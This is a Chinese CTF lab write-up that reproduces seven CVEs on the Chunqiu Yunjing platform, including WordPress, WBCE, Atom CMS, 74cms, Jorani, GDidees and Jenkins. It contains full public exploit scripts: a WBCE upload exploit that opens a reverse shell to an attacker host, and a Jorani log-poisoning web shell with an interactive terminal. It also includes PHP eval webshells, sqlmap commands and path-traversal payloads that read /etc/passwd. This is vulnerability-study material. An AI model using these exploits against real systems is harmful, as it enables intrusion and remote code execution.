春秋云境 CVE 复现
CVE-2022-4230
靶标介绍
WP Statistics WordPress 插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户执行 SQL 注入攻击。默认情况下,具有管理选项功能 (admin+) 的用户可以使用受影响的功能,但是该插件有一个设置允许低权限用户也可以访问它。
复现
wp-login.php
进入到后台登录页面
网页上面也有提示存在 用户 test, 弱口令进入后台
test / test
进入到后台, 根据靶机的描述, WP Statistics插件存在漏洞
在登录的状态下获取wpnonce值
url/wp-admin/admin-ajax.php?action=rest-nonce
sql注入点
url/wp-json/wp-statistics/v2/metabox?_wpnonce=6bd98e82d5&name=words&search_engine=2
使用bp抓包, 然后sqlmap跑 (时间盲注)
需要一步一步爆出数据库名, 表名, 字段名, 最后爆数据
sqlmap -r 1.txt --batch -D wordpress -T flag -C flag --dump --batch
CVE-2022-25101
靶标介绍
WBCE CMS v1.5.2 /templates/install.php 文件存在漏洞,攻击者可精心构造文件上传造成RCE
漏洞复现
跟描述不一样的是, 不仅仅是templates/install.php
可以上传文件, modules/install.php
也可以上传文件/languages
也有一个, 不过这个靶机好像把/languages/install.php
给删了, 页面不存在
dirsearch扫描到后台登录框, 弱口令 admin/123456 直接进去
根据提示, 进入到/templates
install那里可以上传文件, 尝试后发现只能上传 zip文件,
但是会发现上传了zip文件依旧不起作用,
查看源码会发现需要里面是info.php才行
function find_addon_root_path($zip)
{
// get list of files contained in the zip object
if (($zip_files = $zip->listContent()) == 0) {
return '';
}
// find first folder containing an info.php file
foreach ($zip_files as $zip_file => $info) {
if (basename($info['filename']) == 'info.php') {
return '/' . dirname($info['filename']);
}
}
return '';
}
所以以 info.php里面写上命令 压缩成zip文件就可以执行了
这里是直接执行文件, 所以写上一句话木马是没有用的,
<?php phpinfo();?>
上传后可以发现是直接执行了
这里也就可以直接拿到flag
当然也是可以通过写入文件的方式拿shell,
<?php file_put_contents('shell.php',base64_decode('PD9waHAgZXZhbCgkX1JFUVVFU1RbJzEnXSk7cGhwaW5mbygpOz8+'));?>
base64解码 --> <?php eval($_REQUEST['1']);phpinfo();?>
注意shell.php的路由位置
网上也存在相应的exp
# Exploit Title: WBCE CMS 1.5.2 - Remote Code Execution (RCE) (Authenticated)
# Date: 02/01/2022
# Exploit Author: Antonio Cuomo (arkantolo)
# Vendor Homepage: https://wbce.org/
# Software Link: https://wbce.org/de/downloads/
# Version: 1.5.2
# Tested on: Linux - PHP Version: 8.0.14
# Github repo: https://github.com/WBCE/WBCE_CMS
# -*- coding: utf-8 -*-
#/usr/bin/env python
import requests
import string
import base64
import argparse
import time
import io
from bs4 import BeautifulSoup #pip install beautifulsoup4
PAYLOAD = 'UEsDBBQAAAAIAI1+n1Peb3ztBAMAAFUHAAAMAAAAdDE4YmtuZXYucGhwhVVtT9swEP6OxH8wUaQmUqAJ24epUSYh6CY0CbQC2weGIje5UKuJndkOhSH++85OQqqqtBIizr08eZ6783U8nujoy3zJ4enwAF8ODxToVLMK0pJVTHuhH7u/prOby+urxIlOQid2WZ246Wz68256c3vvSHhKWe08xG4tpN70GJvxZYuGL1PF/kESfQ7D2F1JpiGlCW/KMnZBSiHf39QCyjIZNZxWQI5pTFYxYXlMxnPGx2pBjtkodnMKleBJiCeYN494YIVXNDzTTPAUnpnSyhvVGddlWgi5HPn+q1uzPBlMnm9yrDE5jvzXWjKuUbMznc2uZxNyTvlIExPp+DE8oyfy47cuxX+1lrC11EKx51SBViz3/E04o66H62PWIXsxUfwGpQIypP4+m11dXn2fkG+UlZATLUgbyxScEHK7YIrg39+GaSCZqNBDKM8JF0icalqeOIifLXImPWeM56aiamm7qkS2TArzX9TAPWxrYFsYmG5wYR9Ky+BTaMt0ZBPWVHV+4rXxG4JAZZLVWkhVQ5ZQKemLFyZf24NTsxqcwJGOH0SbxhUaT7cYkXItRQZKJeaZWtbtrAQb3wtck6Za3kylEpRoZAZej+B/1GxV0xUnFnRdD+oEWpn+pvMSy8D4o9d+4z58CLBAOwKifQGnHwbYkhvnO9mbJjP8C7wnL8RUAHKC9wykgpa1mRBs5cS2EiWsFqwE1PBqbgeIosXcov/GZmeCc7BXiGiQFeNUQ44wcyS3jN86kEHah0BdobeiuPjIU9pORSdyKNZ7VbDhvKnSbEH5I+SpCQOtkvdClUjU67CCfqEE/S4JzC6xE8B4uv6lLsO3JWmXhz/U9/r8B5lNzy6Qrct43eikMPF97rDHEHp7+oS0iYhQWFJrk9J6cKDWaQ3Sd1O7vbi+u91GbkDYT9CCbKFo5O2kd7qfHg7ALnqnu+kNIHvpvRVZKVRnxiD7NpR50xJtWuxw2SVircNaiPsfENJTcpXG06OVfNTt6W7mnc73hztI6fBAgm4kJ2H8H1BLAQI/ABQAAAAIAI1+n1Peb3ztBAMAAFUHAAAMACQAAAAAAAAAIAAAAAAAAAB0MThia25ldi5waHAKACAAAAAAAAEAGACAuZAFVv7XAYC5kAVW/tcB6Bk8KTf+1wFQSwUGAAAAAAEAAQBeAAAALgMAAAAA'
def main():
parser = argparse.ArgumentParser(description='WBCE <= 1.5.2 - Remote Code Execution (Authenticated)')
parser.add_argument('-x', '--url', type=str, required=True)
parser.add_argument('-u', '--user', type=str, required=False)
parser.add_argument('-p', '--password', type=str, required=False)
parser.add_argument('-ah', '--attacker_host', type=str, required=False)
parser.add_argument('-ap', '--attacker_port', type=str, required=False)
args = parser.parse_args()
print("\nWBCE 1.5.2 - Remote Code Execution (Authenticated)","\nExploit Author: Antonio Cuomo (Arkantolo)\n")
exploit(args, PAYLOAD)
def exploit(args, payload):
s2 = requests.Session()
#login
body= {'url':'','username_fieldname':'username_t18bknev','password_fieldname':'password_t18bknev','username_t18bknev':args.user,'password_t18bknev':args.password}
r = s2.post(args.url+'/admin/login/index.php', data=body, allow_redirects=False)
if(r.status_code==302 and r.headers['location'].find('/start/') != -1):
print("[*] Login OK")
else:
print("[*] Login Failed")
exit(1)
time.sleep(1)
#create droplet
up = {'userfile':('t18bknev.zip', io.BytesIO(base64.b64decode(PAYLOAD)), "multipart/form-data")}
r = s2.post(args.url+'/admin/admintools/tool.php?tool=droplets&upload=1', files=up)
if(r.status_code==200 and r.text.find('1 Droplet(s) imported') != -1):
print("[*] Droplet OK")
else:
print("[*] Exploit Failed")
exit(1)
time.sleep(1)
#get csrf token
r = s2.get(args.url+'/admin/pages/index.php')
soup = BeautifulSoup(r.text, 'html.parser')
formtoken = soup.find('input', {'name':'formtoken'})['value']
#create page
body= {'formtoken':formtoken,'title':'t18bknev','type':'wysiwyg','parent':'0','visibility':'public','save':''}
r = s2.post(args.url+'/admin/pages/add.php', data=body, allow_redirects=False)
soup = BeautifulSoup(r.text, 'html.parser')
try:
page_id = soup.findAll("script")[9].string.split("location.href='")[-1].split("\");")[0].split("'")[0].split("=")[1]
print("[*] Page OK ["+page_id+"]")
except:
print("[*] Exploit Failed")
exit(1)
time.sleep(1)
#get csrf token
print("[*] Getting token")
r = s2.get(args.url+'/admin/pages/modify.php?page_id='+page_id)
soup = BeautifulSoup(r.text, 'html.parser')
formtoken = soup.find('input', {'name':'formtoken'})['value']
section_id = soup.find('input', {'name':'section_id'})['value']
time.sleep(1)
#add droplet to page
body= {'page_id':page_id,'formtoken':formtoken,'section_id':section_id,'content'+section_id:'[[t18bknev]]','modify':'save'}
r = s2.post(args.url+'/modules/wysiwyg/save.php', data=body, allow_redirects=False)
if(r.status_code==200 and r.text.find('Page saved') != -1):
print("[*] Adding droplet OK")
else:
print("[*] Exploit Failed")
exit(1)
time.sleep(1)
input("Please make sure that your nc listner is ready...\n\nPRESS ENTER WHEN READY")
body= {'rev_ip':args.attacker_host,'rev_port':args.attacker_port}
r = s2.post(args.url+'/pages/t18bknev.php', data=body, allow_redirects=False)
if(r.status_code==200):
print("[*] Exploit OK - check your listner")
exit(0)
else:
print("[*] Exploit Failed")
exit(1)
if __name__ == '__main__':
main()
使用方法
python 1.py -x http://eci-2zee9fyka6793h4gmc8w.cloudeci1.ichunqiu.com/ -u admin -p 123456 -ah [ip] -ap [端口]
CVE-2022-25487
靶标介绍:
Atom CMS 2.0版本存在远程代码执行漏洞,该漏洞源于/admin/uploads.php 未能正确过滤构造代码段的特殊元素。攻击者可利用该漏洞导致任意代码执行。
文件上传进行RCE
网站一进去是个空白, 先进行信息搜集, dirsearch扫一下目录
通过dirsearch找到了一个database.sql文件, 存在账户和密码, 密码都是同一个
md5在线解密一下可以发现是密码是 password
dirsearch可以扫到后台登录地址 admin/login.php alan@alan.com/password
登录进去
在user界面下存在一个文件上传的点
先尝试上传一张图片, 然后将图片的内容改成一句话木马, 上传, 发现有回显上传后的文件名
访问相应的路由, 发现可以进行RCE
(dirsearch可以扫出uploads目录, 所以可以猜测上传的文件在这一目录下)
sql注入漏洞
直接sqlmap跑
sqlmap -u "http://eci-2ze1j1a74y1jzc23w3ki.cloudeci1.ichunqiu.com/admin/index.php?page=users&id=5" --dbs --batch -p "id"
这里存在sql注入的点的路由还有挺多的, 比如登录那里也存在sql注入的漏洞
CVE-2022-26271
title: 74cmsSEv3.4.1任意文件读取漏洞
靶标介绍:
74cmsSEv3.4.1存在任意文件读取漏洞。
payload
/index/Download/?name=index.php&url=../../../../../../flag
漏洞分析
(没找到源码, 直接截图其他师傅的图片)
\upload\application\index\controller\Download.php
在Downloadl类里面定义了一个index函数, 对文件进行操作
这里面的name
参数 和 url
参数是可控的, 主要是url
参数, 没有进行任何的过滤, 可以目录穿越访问从而下载任何一个文件, 而name
参数就是为下载的文件重新命名, 无所谓是啥
然后就是如何调用到 Download类去执行这个方法
在index控制器类里面, 定义了一个index方法, 最后会返回一个 $this->fetch('index/'.$index_tpl.'/index')
这里$index_tpl
就是要调用的其他控制器类, 在这里就可以去调用 Download
控制器类了, 就可以利用到它的漏洞了
参考文章:
https://www.kinsomnia.cn/index.php/2024/01/22/%e6%98%a5%e7%a7%8b%e4%ba%91%e5%a2%83/
https://github.com/N1ce759/74cmsSE-Arbitrary-File-Reading/issues/1
CVE-2023-26469
靶标介绍:
Jorani是一款开源的员工考勤和休假管理系统,适用于中小型企业和全球化组织,它简化了员工工时记录、休假请求和审批流程,并提供了多语言支持以满足不同地区的需求。在 Jorani 1.0.0 中,攻击者可以利用路径遍历来访问文件并在服务器上执行代码。
复现
获取 csrf_cookie_jorani
: 2ff359dd7e588c19052a333a93e489f4
和 jorani_session
: bfa1edc456a027137540c2b7fde8a89926c4e785 两个cookie值
构造payload , 执行命令
csrf_test_jorani=2ff359dd7e588c19052a333a93e489f4&last_page=session/login&language=../../application/logs&login=<?=`$_GET[cmd]`?>&CipheredValue=test
/pages/view/log-2024-11-26?cmd=cat+/flag
exp
"""
vulnerability covered by CVE-2023-26469
"""
import readline
import requests
import datetime
import sys
import re
import base64
import random
import string
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
msg = lambda x, y="\n": print(f'\x1b[92m[+]\x1b[0m {x}', end=y)
err = lambda x, y="\n": print(f'\x1b[91m[x]\x1b[0m {x}', end=y)
log = lambda x, y="\n": print(f'\x1b[93m[?]\x1b[0m {x}', end=y)
CSRF_PATTERN = re.compile('<input type="hidden" name="csrf_test_jorani" value="(.*?)"')
CMD_PATTERN = re.compile('---------(.*?)---------', re.S)
URLS = {
'login': '/session/login',
'view': '/pages/view/',
}
alphabet = string.ascii_uppercase
HEADER_NAME = ''.join(random.choice(alphabet) for i in range(12))
BypassRedirect = {
'X-REQUESTED-WITH': 'XMLHttpRequest',
HEADER_NAME: ""
}
INPUT = "\x1b[92mjrjgjk\x1b[0m@\x1b[41mjorani\x1b[0m(PSEUDO-TERM)\n$ " # The input used for the pseudo term
u = lambda x, y: x + URLS[y]
POISON_PAYLOAD = "<?php if(isset($_SERVER['HTTP_" + HEADER_NAME + "'])){system(base64_decode($_SERVER['HTTP_" + HEADER_NAME + "']));} ?>"
PATH_TRAV_PAYLOAD = "../../application/logs"
if __name__ == '__main__':
print("""
/!\\ Do not use this if you are not authorized to /!\\
""")
log("POC made by @jrjgjk (Guilhem RIOUX)", "\n\n")
if len(sys.argv) == 1:
err(f"Usage: {sys.argv[0]} <url>")
exit(0)
log(f"Header used for exploit: {HEADER_NAME}")
t = sys.argv[1]
s = requests.Session()
log("Requesting session cookie")
res = s.get(u(t, "login"), verify=False)
C = s.cookies.get_dict()
Date = datetime.date.today()
log_file_name = f"log-{Date.year}-{str(Date.month).zfill(2)}-{str(Date.day).zfill(2)}"
csrf_token = re.findall(CSRF_PATTERN, res.text)[0]
log(f"Poisoning log file with payload: '{POISON_PAYLOAD}'")
log(f"Set path traversal to '{PATH_TRAV_PAYLOAD}'")
msg(f"Recovered CSRF Token: {csrf_token}")
data = {
"csrf_test_jorani": csrf_token,
"last_page": "session/login",
"language": PATH_TRAV_PAYLOAD,
"login": POISON_PAYLOAD,
"CipheredValue": "DummyPassword"
}
s.post(u(t, "login"), data=data)
log(f"Accessing log file: {log_file_name}")
exp_page = t + URLS['view'] + log_file_name
### Shell
cmd = ""
while True:
cmd = input(INPUT)
if cmd in ['x', 'exit', 'quit']:
break
elif cmd == "":
continue
else:
BypassRedirect[HEADER_NAME] = base64.b64encode(b"echo ---------;" + cmd.encode() + b" 2>&1;echo ---------;")
res = s.get(exp_page, headers=BypassRedirect)
cmdRes = re.findall(CMD_PATTERN, res.text)
try:
print(cmdRes[0])
except:
print(res.text)
err("Wow, there was a problem, are you sure of the URL ??")
err('exiting..')
exit(0)
CVE-2023-27179
靶标介绍:
GDidees CMS v3.9.1及更低版本被发现存在本地文件泄露漏洞,漏洞通过位于 /_admin/imgdownload.php 的 filename 参数进行利用。
复现
url/_admin/imgdownload.php
在这个路由下 通过 filename参数进行一个文件读取
/_admin/imgdownload.php?filename=../../../../../etc/passwd
分析一下它的这部分的代码
可以发现它对于filename参数 使用了 readfile() 函数, 且没有进行任何过滤, 从而造成了任意文件读取的漏洞
<?php
// on essaie de reconnaitre l'extension pour que le téléchargement corresponde au type de fichier afin d'éviter les erreurs de corruptions
if (isset($_GET["filename"])) {
$filename=$_GET["filename"];
$uploadname=substr(basename($filename), 0, 6).'.png';
switch(strrchr(basename($filename), ".")) {
case ".gz": $type = "application/x-gzip"; break;
case ".tgz": $type = "application/x-gzip"; break;
case ".zip": $type = "application/zip"; break;
case ".pdf": $type = "application/pdf"; break;
case ".png": $type = "image/png"; break;
case ".gif": $type = "image/gif"; break;
case ".jpg": $type = "image/jpeg"; break;
case ".txt": $type = "text/plain"; break;
case ".htm": $type = "text/html"; break;
case ".html": $type = "text/html"; break;
default: $type = "application/octet-stream"; break;
}
//envoi du fichier
header('Content-Transfer-Encoding: $type\n');
header('Content-Type: application/force-download');
header('Content-Disposition: attachment; filename="'.$uploadname.'"');
header('Content-Length: '.filesize($filename));
header('Pragma: no-cache');
header("Cache-Control: must-revalidate, post-check=0, pre-check=0, public");
header("Expires: 0");
@readfile($filename) OR die();
}
?>
CVE-2024-23897
靶标介绍:
Jenkins 2.441及更早版本,以及LTS 2.426.2及更早版本没有禁用其CLI命令解析器的一个功能,该功能会将参数中’@'字符后跟的文件路径替换为该文件的内容,允许未经身份验证的攻击者读取Jenkins控制器文件系统上的任意文件。
漏洞成因:
Jenkins提供了一个命令行接口,用户可以通过jenkins-cli.jar调用这个接口来执行一些jenkins的功能,但是由于使用jenkins-cli.jar执行命令行时,命令行是在服务端调用第三方库 args4j 进行解析的,这个库实现了Linux中一个常见的功能——如果一个参数是以@开头,则会被自动认为是一个文件名,文件内容会被读取作为参数,然后引发报错,将文件内容通过报错显示出来,造成了文件读取。
使用who-am-i
命令和 help
可以读取文件的前几行内容
如果Jenkins开启了“匿名用户可读”选项,则大部分命令都可以被调用,其中包括connect-node命令和reload-job命令。这俩命令可以用来读取文件全部内容
复现
在url/jnlpJars/jenkins-cli.jar
下载客户端
然后利用这个客户端进行文件读取
java -jar jenkins-cli.jar -s url -http help "@/etc/passwd"
java -jar jenkins-cli.jar -s url -http who-am-i "@/flag"